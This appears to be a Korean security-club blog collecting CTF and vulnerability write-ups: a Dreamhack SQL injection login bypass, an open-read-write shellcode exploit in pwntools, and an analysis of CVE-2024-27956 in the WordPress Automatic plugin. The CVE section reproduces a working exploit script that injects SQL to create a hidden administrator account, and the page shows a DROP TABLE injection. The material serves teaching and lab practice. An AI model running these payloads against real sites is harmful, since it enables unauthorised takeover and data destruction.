들어가며

2025년 32기 지원서는 상중하 세 문제로 이루어져 있었는데, 그 중 하 문제인 Dreamhack의 simple_sqli_chatgpt의 문제에 대한 라이트업을 써보려 한다.

뭐 인터넷에 이미 나와있는 라이트업이 많긴 하지만 지원서 문제를 낸 입장에서도 그렇고, 기술블로그에 올리기도 하고 싶어서 써보려 한다.


SQL Injection이란?

우선 본격적으로 라이트업을 쓰기 전에 SQL Injection이 뭔지에 대해 알아볼 것이다.

문제 이름이 simple sqli chatgpt인 만큼, sqli에 대해 알고 넘어가는 게 중요하다.

**SQL Injection(SQLi)**은 웹 애플리케이션에서 사용자 입력을 적절히 검증하지 않고 SQL 쿼리에 포함시킬 때 발생하는 보안 취약점이다.

공격자는 이를 이용해 데이터베이스의 정보를 조회, 수정, 삭제하거나 인증을 우회할 수 있다.

예를 들어, 다음과 같은 쿼리가 있다고 가정하겠다.

1
SELECT * FROM users WHERE username = 'rlozll' AND password = 'swing31';

만약 사용자가 username에 ‘ OR ‘1’=’1을 입력하면, 쿼리는 다음과 같이 변형된다.

1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = 'swing31';

이렇게 되면 1=1이라는 조건이 항상 참이지 인증을 우회할 수 있게 된다.

또다른 예시를 들어보겠다. 아래와 같은 코드가 있다고 가정하겠다.

1
2
username = request.form['username]
query = f"SELECT * FROM users WHERE username='{username}'"

이때 사용자가 username에 admin’–을 입력하면 쿼리는 다음과 같이 된다.

1
SELECT * FROM users WHERE username='admin' --'

– 이후는 주석 처리되기 때문에 읽어내지 못한다.

따라서 조건이 조작되어 인증 우회나 정보 탈취가 가능하게 된다.



문제 개요: simple_sqli_chatgpt

문제 링크: https://dreamhack.io/wargame/challenges/769
이 문제는 로그인 페이지에서 사용자 입력을 통해 SQL Injection을 수행하여 플래그를 획득하는 것이 목표다.

그림 1. https://github.com/user-attachments/assets/3178eaab-3ccc-4725-9f65-c95377d26422, [문제 풀이 중 로그인 화면]

그림 1. [문제 풀이 중 로그인 화면]

로그인 페이지에는 userlevel이라는 단일 입력 필드를 제공하고 있으며, 이를 기반으로 사용자를 인증한다.


소스 코드 분석

문제에서 제공하는 코드 중 주요 부분만 추출해 보도록 하겠다.


1. 데이터베이스 생성

1
2
db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')
  • userid: guest/admin
  • userpassword: guest/랜덤값
  • 모두 userlevel = 0으로 설정되어 있음

2. 쿼리 수행

1
2
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
  • userlevel 값을 사용자 입력에서 가져와 직접 쿼리에 삽입
  • 파라미터 바인딩을 사용하지 않고, 문자열 포매팅을 사용 -> SQL Injection 가능

3. 조건 판단

1
2
3
4
5
if res:
userid = res[0]
userlevel = res[2]
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
  • 조건을 만족하면 플래그 노출
  • 즉, userlevel=0 이면서 userid=’admin’인 경우 플래그가 출력됨

핵심 취약점

1
res = query_db(f"select * from users where userlevel='{userlevel}'")

이 부분에서 userlevel에 아무런 필터링 없이 쿼리에 삽입된다.

이로 인해 공격자는 다음과 같이 조작할 수 있게 된다.


SQL Injection 시나리오

목표: userlvel 값 하나만 입력해서, userid가 ‘admin’인 행을 선택해야 함

공격 입력

다음 값을 userlevel에 입력하도록 하겠다.

1
0' and userid='admin' --

실제 쿼리 동작 방식

입력값을 반영한 최종 쿼리는 다음과 같다.

1
SELECT * FROM users WHERE userlevel='0' and userid='admin' --'
  • userlevel=’0’ 조건 만족
  • userid=’admin’ 조건 만족
  • – 뒤는 주석 처리 -> 쿼리 구문 오류 방지 (읽지 못하도록)

공격 수행

그림 2. https://github.com/user-attachments/assets/39b69ca1-b905-446e-a8fd-ed194a53af1c, [플래그 출력 화면]

그림 2. [플래그 출력 화면]

이렇게 다음과 같은 플래그를 얻을 수 있었다.

Flag: DH{chatGPT_told_me_a_lullaby}

대응 방안

문제는 다 풀었지만, 대응 방안도 간단히 알아보도록 하겠다.


파라미터 바인딩 사용

1
db.execute("SELECT * FROM users WHERE userlevel=?", (userlevel,))

입력 검증

  • 숫자 입력값만 허용: int(userlevel)
  • 화이트리스트 기반 검증

최소 권한 DB 사용자 설정

  • 데이터 조회 권한만 있는 사용자 사용
  • 시스템 테이블 접근 제한

마치며

드림핵의 simple_sqli_chatgpt 문제는 SQL Injection의 핵심과 위험성을 간단히 보여주는 예제다.

본인은 해당 문제를 1학년 때 처음 풀어봤는데, 꽤 재밌게 풀었던 기억이 난다.

그렇게 풋풋했는데 지금은 어느덧 사망년이다.

다음 기술블로그는 어떤 걸 써볼지 고민해봐야지.


출처

SQL Injection. (n.d.). OWASP. https://owasp.org/www-community/attacks/SQL_Injection

simple_sqli_chatgpt. (n.d.). Dreamhack. https://dreamhack.io/wargame/challenges/769

들어가며

올해 32기 지원 서류에 있는 문제 중 하나인 포너블 문제를 풀어보려고 한다. 3문제 중 [중] 난이도의 이 문제만 포너블인데 아무도 풀지 않았다. 최대한 차근차근 풀이해보겠다.


셸코드란?

셸코드(Shellcode)는 시스템의 특정 명령을 실행하는 작은 사이즈의 프로그램을 뜻하여, 일반적으로 기계어 코드로 작성되어 있다. 이는 셸을 획득하기 위한 익스플로잇을 목적으로 하기 위해 제작되는 어셈블리 코드 조각이라고도 볼 수 있다. 셸코드로 불리는 이유는 일반적으로 명령 셸을 시작시켜 그곳으로부터 공격자가 영향 받은 컴퓨터를 제어하기 때문이다.

orw 셸코드

orw 셸코드란란 파일을 열고(Open) 내용을 읽은 후(Read) 화면에 출력(Write)하는 셸코드로 여기서 open, read, write 시스템 호출을 순서대로 사용한다.
여기서 시스템 호출(system call)이란 운영 체제의 커널이 제공하는 서비스에 대해 응용 프로그램의 요청에 따라 커널에 접근하기 위한 인터페이스이다.
아래는 orw 셸코드에 필요한 syscall에 대한 내용을 표로 정리한 것이다.

syscall %rax arg0 (%rdi) arg1 (%rsi) arg2 (%rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

작동 방식은 open 함수로 파일을 연 후, 생성된 fd를 read 함수에 넘기고 읽은 후에 스택에 결과를 저장하게 된다.

1. open syscall

시그니처: *int open(const char pathname, int flags, mode_t mode);

역할: 파일을 연다.

시스템 호출 번호: rax = 2

레지스터 사용:

rdi => 파일 경로 (예: /tmp/flag)

rsi => flag(열기 옵션 (O_RDONLY, O_WRONLY, O_RDWR 등))

rdx => mode(O_RDONLY(읽기 전용)- 0, O_WRONLY(쓰기 전용)- 1, O_RDWR(읽기/쓰기)- 2) *orw 셸코드에서는 O_RDONLY이기 때문에 0으로 설정

1
2
3
4
5
6
7
8
push 0x67
mov rax, 0x616c662f706d742f ;스택에는 리틀 엔디안 형식으로 8 바이트 단위로만 값을 push할 수 있으므로 0x67를 먼저 push한 후, 0x616c662f706d742f를 push
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; O_RDONLY = 0
xor rdx, rdx ; mode를 0으로 설정
mov rax, 2 ; open syscall 호출(2)
syscall ; open("/tmp/flag", RD_ONLY, NULL)

syscall의 반환 값, 위 코드에서 보면 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다.

2. read syscall

역할: 파일에서 데이터를 읽는다.

시그니처: *ssize_t read(int fd, void buf, size_t count);

시스템 호출 번호: rax = 0

레지스터 사용:

rdi => 파일 디스크립터

rsi => 읽은 데이터를 저장할 버퍼 주소

rdx => 읽을 바이트 수

1
2
3
4
5
6
mov rdi, rax          ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; 0x30바이트 읽을 거니까 읽을 버퍼 주소는 rsp-0x30
mov rdx, 0x30 ; read 48 바이트
mov rax, 0 ; read syscall 호출(0)
syscall ; read(fd, buf, 0x30)

### 3. write syscall 역할: 데이터를 출력한다.

시그니처: *ssize_t write(int fd, const void buf, size_t count);

시스템 호출 번호: rax = 1

레지스터 사용:

rdi => 출력할 대상의 fd (1은 표준 출력 stdout)

rsi => 출력할 버퍼 주소

rdx => 출력할 바이트 수

1
2
3
4
mov rdi, 1            ; stdout
mov rdx, 0x30 ; 48바이트 출력 예정, rsi에 출력할 버퍼 주소는 위 read 부분에 이미 같은 주소 저장되어 있어서 작성 생략략
mov rax, 1 ; read syscall 호출(1)
syscall ; write(fd, buf, 0x30)

사실 여기까지 orw 셸코드의 개념을 알아봤으면 이제 문제를 풀 방법을 선택할 수 있는데 첫번째는 위 asm 전체 코드를 다 합쳐서 컴파일 한 뒤, objdump를 이용하여 디스어셈블해서 필요한 셸코드만 추출한 후 최종 셸코드를 문제 서버에 전송하는 방법이다. 두번째는 pwntools에 셸코드를 작성해주는 함수인 shellcraft()가 있는데 이걸 이용하여 코드를 짠 다음 해당 익스플로잇 코드를 실행시키는 것이다.
아무래도 두번째 방법이 더 쉽기 때문에 두번째 방법으로 진행하도록 하겠다.



#문제 풀기

그림 1. 문제 내용 확인

그림 1. 문제 내용 확인

flag의 위치는 "/home/shell_basic/flag_name_is_loooooong"라는 힌트가 나와있고 execve, execveat 시스템 콜을 사용하지 말라고 하니 위에서 했던 orw를 이용하면 될 것 같다. 문제 파일을 보면 shell_basic 실행파일과 shell_basic.c 코드 파일이 있다. 코드 파일 먼저 살펴 보겠다.
##코드 일단 문제 코드 먼저 보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>

void alarm_handler() {
puts("TIME OUT");
exit(-1);
}

void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}

void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);

seccomp_load(ctx);
}

void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();

init();

banned_execve();

printf("shellcode: ");
read(0, shellcode, 0x1000);

sc = (void *)shellcode;
sc();
}

아까 문제 조건에서 본 것 처럼 execve과 execveat 시스템 콜을 막아놓은 함수가 보이고 그 밑에 main()이 보인다. 우리가 봐야할 부분은 여기다.

1
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);   

mmap()을 이용해 크기 0x1000의 메모리를 할당하고 해당 영역은 읽기(R), 쓰기(W), 실행(X) 권한을 모두 가진다.

1
2
printf("shellcode: ");
read(0, shellcode, 0x1000);

위 코드는 ‘shellcode: ‘가 출력되면 그 뒤에 표준 입력(fd=0은 stdin)으로 최대 0x1000 바이트의 데이터를 shellcode 메모리로 읽어들이는 것이다. 즉 여기가 셸코드를 입력하는 부분이므로 우리는 여기서 orw 셸코드를 작성해서서 shellcode로 넘겨주면 되는 것이다. 가장 먼저 문제 서버 주소와 포트 번호를 확인해준다.
그림 2. 문제 서버와 포트 확인

그림 2. 문제 서버와 포트 확인

그 다음 실행파일의 아키텍처를 checksec으로 확인해주겠다.

그림 3. 아키텍처 확인

그림 3. 아키텍처 확인

amd64인 것을 확인할 수 있다. 이제 익스플로잇 코드를 짜보겠다.
1
2
3
# open할 flag 파일 경로
path = "/home/shell_basic/flag_name_is_loooooong"
shell = shellcraft.open(path)

shellcraft.open(“/home/shell_basic/flag_name_is_loooooong”)는 open(“/home/shell_basic/flag_name_is_loooooong”) syscall에 해당하는 x86-64 어셈블리 코드를 생성하게 되는데 이 시스템 호출의 결과는 rax 레지스터에 저장되고, 이것이 fd(파일 디스크립터)가 된다.

1
shell += shellcraft.read('rax', 'rsp', 0x30)

read(fd, buf, 0x30)를 의미한다. rax가 방금 open한 파일 디스크립터이므로, 이 파일에서 데이터를 읽는다. read를 이용하여여 rsp(스택 위치)에서 최대 0x30 바이트를 읽어온다. 혹시나 읽어오는 바이트가 플래그보다 부족해도 나중에 고치면 되니 적당히 0x30으로 해놓는다.

1
shell += shellcraft.write(1, 'rsp', 0x30)

다음 코드는 write(stdout, buf, 0x30)을 의미한는데 이는 write(stdout, buf, size) 시스템 호출이다. stdout의 번호는 1이기 때문에 고정해놓고 방금 rsp에 읽어둔 내용을 0x30 바이트 만큼 읽어 stdout으로 터미널에 플래그를 출력한다.

그 다음 asm으로 셸코드를 기계어로 변환한 후, 아까 위에서 본 코드 파일의 셸코드를 입력하는 부분에 우리가 쓴 셸코드를 보내면 된다.
이렇게 되면 전체 익스플로잇 코드는 다음과 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote("host8.dreamhack.games", 21439)

context.arch = "amd64"
path = "/home/shell_basic/flag_name_is_loooooong"
shell = shellcraft.open(path)
shell += shellcraft.read('rax', 'rsp', 0x30)
shell += shellcraft.write(1, 'rsp', 0x30)
shell = asm(shellcode) # shell을을 기계어로 변환

r.sendlineafter("shellcode: ", shell) # "shellcode: "가 출력되면 shell + '\n'을 입력
r.interactive() # 익스플로잇 실행 후 서버와 터미널 연결

이제 이 코드를 실행시키면

그림 4. 익스플로잇 실행 결과

그림 4. 익스플로잇 실행 결과

위 사진처럼 DH{ca562d7cf1db6c55cb11c4ec350a3c0b}라는 플래그 값을 얻을 수 있다.

마치며

사실 asm 코드 컴파일 한 다음, 셸코드 다 추출해서 전송하는 방식으로 작성할까 했지만 pwntools 작성 방식이 더 이해하기도 쉽고 간편하고 많이 쓰는 방식이기도 해서 위 방식으로 작성했다.

참고문헌

Chromium OS Docs. (n.d.). Linux System Call Table . https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md.

Dreamhack. (n.d.). Exploit Tech: Shellcode. https://learn.dreamhack.io/50

들어가며

이번 32기 지원서는 상중하 주제 중에 하나를 선택해서 공부한대로 적는 라이트업 문제가 있었다.

상 문제만 유일하게 CVE 분석이다. 주제가 어려웠는지 아무도 상 문제를 적진 않았지만(…) SWING 들어와서 공부하면 그만이다. 입학 시절로 돌아가 취약점 분석에 대한 0부터 적어보자. 목표는 신규 학회원들이 이 글만 읽어도 다 이해할 수 있는 것이다.


CVE란?

CVE는 Common Vulnerabilities and Exposure의 약자로, MITRE에서 관리하는 공개된 보안 취약점의 고유 ID이다. CVE-0000-0000 형식으로 연도와 임의 번호를 넣어 발급된다. 고유 ID를 발급함으로써 어떤 프로그램에 어떤 취약점인지 식별 가능하다.


CVE-2024-27956

cve.org 홈페이지를 들어가서 CVE 코드를 검색하면 다음과 같다.

title에는 어떤 프로그램의(버전 포함) 어떤 취약점인지 적혀있다. Description에는 이 취약점에 대해 간단한 설명이 담겨있고 영향을 받는 버전도 작성되어 있다. CWE, CVSS 항목도 기재되어 있다. CWE는 Common Weakness Enumeration의 약자이다. CVE와 혼동할 수 있는데, CVE는 고유 ID이고, CWE는 취약점 유형을 분류한 시스템이라고 생각하면 편하다. CVSS는 취약점의 심각도를 평가하는 점수이다. CVSS 점수가 클 수록 보안 위협이 크다는 것을 의미한다.

CVE 개요

CVE-2024-27956의 개요는 다음과 같다.

제목 WordPress plugin인 Automatic에서 인증되지 않은 사용자가 실행할 수 있는 SQL injection
타겟 WordPress Automatic Plugin 3.92.0 이하

wordpress?

웹사이트를 구현할 수 있는 CMS(Contents Management System) 프로그램이다. 다양한 플러그인을 제공하여 사용자가 사이트를 쉽게 만들 수 있다는 장점이 있다.
실제로 W3Techs에서 조사한 결과로는 WordPress가 CMS 서비스에서 43.5%의 점유율을 확보하고 있다. 업계 내에서 많은 파이를 차지하고 있기에 해당 취약점이 그만큼 영향력도 크다는 것을 예상할 수 있다.
오늘 살펴볼 취약점은 위 WordPress가 제공하는 플러그인 중에서 Automatic에서 일어난다.

sql injection?

타겟에 대해 살펴보았다면, SQL injection이 무엇인지도 알아야 한다. SQL injection은 사용자가 입력할 수 있는 웹 애플리케이션에 악성 SQL 코드를 끼워서 공격하는 취약점이다.
RDBMS는 관계형 데이터 베이스를 관리하는 시스템을 말하는데, SQL은 이 시스템을 위한 특수 언어이다. 악성 SQL 코드를 끼우면 데이터베이스 정보 유출/특수 권한이 있는 계정 로그인 등등의 공격을 할 수 있다.
아래의 SQL문이 있고 pw에 넣어지는 값을 검사하는 로직이 없는 경우를 예로 들어보자.

1
SELECT id FROM ex_table WHERE id='guest' and pw=''

이때 pw에 넣는 입력을 '; DROP TABLE ex_table;-- 로 넣어보면 아래와 같다.

1
SELECT id FROM ex_table WHERE id='guest' and pw=''; DROP TABLE ex_table;-- ' 

이러면 세미콜론에 의해 앞줄 명령이 끝나고 DROP을 이용해서 ex_table의 데이터를 모두 삭제처리할 수 있다. 이후 구문이 있더라도 -- 는(띄어쓰기 포함) SQL의 주석처리 문법이기에 실행되지 않는다.

코드 분석

그럼 본격적으로 WordPress 플러그인 Automatic에서 SQL injection이 어떻게 일어나는지 확인해보자. 취약한 부분은 wp-automatic/inc/csv.php이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
require_once('../../../../wp-load.php');
global $wpdb;

global $current_user;
wp_get_current_user();

// echo user_login . "'s email address is: " $current_user->user_pass;

//get admin pass for integrity check

// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);

if(wp_automatic_trim($auth == '')){

echo 'login required';
exit;
}

if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}

if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}


$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");

echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){

$action=$row->action;
if (stristr($action , 'New Comment Posted on :')){
$action = 'Posted Comment';
}elseif(stristr($action , 'approved')){
$action = 'Approved Comment';
}

//format date
$date=date('Y-n-j H:i:s',strtotime ($row->date));

$data=$row->data;
$keyword='';
//filter the data strip keyword
if(stristr($data,';')){
$datas=explode(';',$row->data);
$data=$datas[0];
$keyword=$datas[1];
}
echo "$date,$action,$data,$keyword \n";

}

// echo "record1,$q,record3\n";

?>

위 코드에서 POST 요청으로 q, auth, integ 값을 받는다. 그리고 if문을 통해 authinteg를 검사한다. if 조건문 안에 있는 wp_automatic_trim 함수는 무엇일까?

1
2
3
4
5
6
7
8
function wp_automatic_trim($str)
{
if (is_null($str)) {
return '';
} else {
return trim($str);
}
}

trim을 이용하여 공백을 제거하는 함수이다.

1
2
3
4
if(wp_automatic_trim($auth == '')){
echo 'login required';
exit;
}

첫 if문이다. 조건이 조금 당황스러울 수 있는데 다음과 같이 이해하면 편하다.
가) $auth =='' 빈 문자열인지 체크
나) true는 문자열 “1”로 치환, false는 “”로 치환 (타입 캐스팅)
다) 빈 문자열이면 $auth == ''가 true 되므로 조건문 참 -> login required
라) 빈 문자열이 아니면 $auth == ''가 false되므로 if(‘’) 조건문 거짓 -> login required 우회
이부분은 공백이 있는 문자열을 삽입하면 우회가 가능하다. ‘’와 ‘ ‘는 다르기 때문이다.

1
2
3
4
if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
echo 'invalid login';
exit;
}

current_user->user_pass는 인증되지 않은 user라면 빈 문자열일 것이다. authwp_automatic_trim에 의해 빈 문자열이 되기 때문에 두 값은 같다. 때문에 invalid login은 우회가 가능하다.

1
2
3
4
if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
echo 'Tampered query';
exit;
}

세번째 if문이다. current_user->user_pass는 빈 문자열이기 때문에 q의 md5값과 integ값만 같게 설정해주면 된다.

1
$rows=$wpdb->get_results( $q);

이후에 위 코드로 인해 q가 실행된다.

Exploit

Exploit은 diego-tella 깃허브를 참고하여 실습으로 진행해보자. 먼저 타겟의 취약한 버전을 깔아줘야 한다. 나는 Docker를 이용하여 WordPress를 깔고 취약한 버전 automatic.zip 파일을 설치했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
version: '3.1'

services:

wordpress:
image: wordpress
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_USER: exampleuser
WORDPRESS_DB_PASSWORD: examplepass
WORDPRESS_DB_NAME: exampledb
volumes:
- wordpress:/var/www/html

db:
image: mysql:8.0
restart: always
environment:
MYSQL_DATABASE: exampledb
MYSQL_USER: exampleuser
MYSQL_PASSWORD: examplepass
MYSQL_RANDOM_ROOT_PASSWORD: '1'
volumes:
- db:/var/lib/mysql

volumes:
wordpress:
db:

위와 같이 WordPress와 MYSQL을 설정하여 yml 파일로 만들고 아래 명령어로 빌드해주면 된다.

1
docker-compose cveWordPress.yml up

이후에 localhost:8080에 접속해서 아래와 같은 WordPress 설치 화면이 뜨면 알맞게 빌드된 것이다.

설치를 마쳤으니 실습을 실행하기 전 exploit.py 코드를 살펴보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests
import sys


def makeRequest(payload, hash, url):
host = url.split('/', 3)[2]

headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}

data = {
'q': payload,
'auth': b'\0',
'integ': hash
}

response = requests.post(url, data=data, headers=headers)
return response


def helpUsage():
print("[+] You must run the expoit passing the wordpress URL. \n[+] Example: python exploit.py http://website.com")
quit()

def verifyArgs(argv):
if len(sys.argv) != 2:
helpUsage()

verifyArgs(sys.argv)
print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain+'/wp-content/plugins/wp-automatic/inc/csv.php'

#first request (create user)
print("[+] Creating user eviladmin")
response = makeRequest("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8080', '2025-04-05 17:31:03', 0, 'eviladmin')", "09956ea086b172d6cf8ac31de406c4c0", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()

if "DATE" not in response.text:
print("[+] Not vulnerable")
quit()

#second request (give permission)
print("[+] Giving eviladmin administrator permissions")
makeRequest("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')", "bd98494b41544b818fa9f583dadfa2bb", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()

print("[+] Exploit completed!")
print("[+] administrator created: eviladmin:admin")

exploit.py 전체 코드이다. diego-tella 깃허브에서 가져왔다(아래 참고문헌에 url 존재)
코드를 부분부분 뜯어서 자세히 살펴보자.

1
2
3
4
verifyArgs(sys.argv)
print("[+] Exploit for CVE-2024-27956")
domain = sys.argv[1]
url = domain+'/wp-content/plugins/wp-automatic/inc/csv.php'

먼저 취약한 위치로 url을 설정한다. domain은 argv[1]으로 설정되어 있는데 실행할 때 넣어주는 인자값을 말한다. Usage가 python exploit.py ‘http://website.com'라고 하면 여기서 argv[1]은 ‘http://website.com'이다.

1
2
3
4
5
6
#first request (create user)
print("[+] Creating user eviladmin")
response = makeRequest("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8080', '2025-04-05 17:31:03', 0, 'eviladmin')", "09956ea086b172d6cf8ac31de406c4c0", url)
if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:
print("[+] Error in the payload")
quit()

첫번째 Request이다. user를 추가하는 SQL injection을 넣어서 보낸다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def makeRequest(payload, hash, url):
host = url.split('/', 3)[2]

headers = {
'Host': host,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-type': 'application/x-www-form-urlencoded',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
data = {
'q': payload,
'auth': b'\0',
'integ': hash
}

response = requests.post(url, data=data, headers=headers)
return response

위 makeRequest 함수를 이용해서 보내면 되는데 header들이 맞춰져 있고 data는 앞에서 설명했다시피 q에는 페이로드, auth는 공백, integ는 hash값이다.

1
2
3
4
5
6
#second request (give permission)
print("[+] Giving eviladmin administrator permissions")
makeRequest("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES (
(SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities',
'a:1:{s:13:\"administrator\";s:1:\"1\";}'
)", "bd98494b41544b818fa9f583dadfa2bb", url)

두번째 페이로드는 첫번째 페이로드로 생성한 eviladmin 계정에 admin 권한을 준다. 값들이 잘 보였으면 해서 VALUES 값들을 줄바꿈하였다. wp_user에 있는 eviladmin의 ID를 가져와서 wp_usermeta에 값을 추가하는 SQL 구문이다. 이때 meta_key, meta_value는 각각 wp_capabilities, a:1:{s:13:"administrator";s:1:"1";}이다. 이는 WordPress의 admin 권한을 주는 키-값이다.

1
python exploit.py http://localhost:8080

프롬프트에서 실행해주면 된다.
이제 docker에서 ID: eviladmin, PW: admin으로 로그인이 될 것이다. admin 권한을 받았는지도 확인해보자. 위와 같이 eviladmin이 관리자 권한으로 설정되어 있는 것을 확인할 수 있다.

마치며

보통 취약점 1-day 분석을 한다고 하면 PoC, Exploit, Patch를 공부한다. Patch는 SW적으로 어떻게 취약점을 방어하는지 공부하기 위함인데 이번 취약점은 inc/csv.php를 제거함으로써 패치하여 추가적인 목차를 만들진 않았다.
신입 학회원에게 많은 도움이 되었으면 해서 최대한 자세하게 템포 느리게 적다보니 초고 완성까지 오래 걸린 거 같다(그렇게 오래 걸릴 내용은 아닌 거 같은데..)
다음 글은 뭘 적을지 고민해봐야겠다.


참고 문헌

보안뉴스. (2015, 6월 16). 국내 보안 위협 동향과 대응 방안. https://www.boannews.com/media/view.asp?idx=47656

이글루코퍼레이션. (n.d.). WordPress Plug-in에 따른 SQL Injection 분석 및 대응 방안 (CVE-2022-3689, CVE-2023-6360). https://www.igloo.co.kr/security-information/wordpress-plug-in%EC%97%90-%EB%94%B0%EB%A5%B8-sql-injection-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91-%EB%B0%A9%EC%95%88-cve-2022-3689-cve-2023-6360/

W3Techs. (n.d.). Usage statistics and market share of WordPress for websites. https://w3techs.com/

위키백과. (n.d.). SQL. https://ko.wikipedia.org/wiki/SQL

truonghuuphuc. (2024). CVE-2024-27956. GitHub. https://github.com/truonghuuphuc/CVE-2024-27956/tree/main

하온 블로그. (n.d.). SQL Injection이란? 원리, 예시와 방어 방법. https://haon.blog/haon/server/sql-injection/

Patchstack. (2024, March 20). Critical vulnerabilities patched in WordPress Automatic Plugin. https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin?_s_id=cve

diego-tella. (2024). CVE-2024-27956-RCE. GitHub. https://github.com/diego-tella/CVE-2024-27956-RCE

DreamHost. (n.d.). A Guide to WordPress User Roles and Permissions. https://www.dreamhost.com/blog/wordpress-user-roles/

1. 들어가며

5월호의 주제는 Use-After-Free(UAF) 취약점이다. 해당 취약점을 이용한 CTF 문제 풀이 과정을 다룬다. UAF 취약점은 메모리 관리의 부주의로 인해 발생하는 보안 취약점 중 하나로, 해커가 악용할 경우 시스템 권한을 탈취당하거나 악성코드가 실행될 수 있다. 이러한 취약점은 특히 커널과 같은 중요한 시스템 컴포넌트에서 발생할 때 매우 치명적일 수 있다.

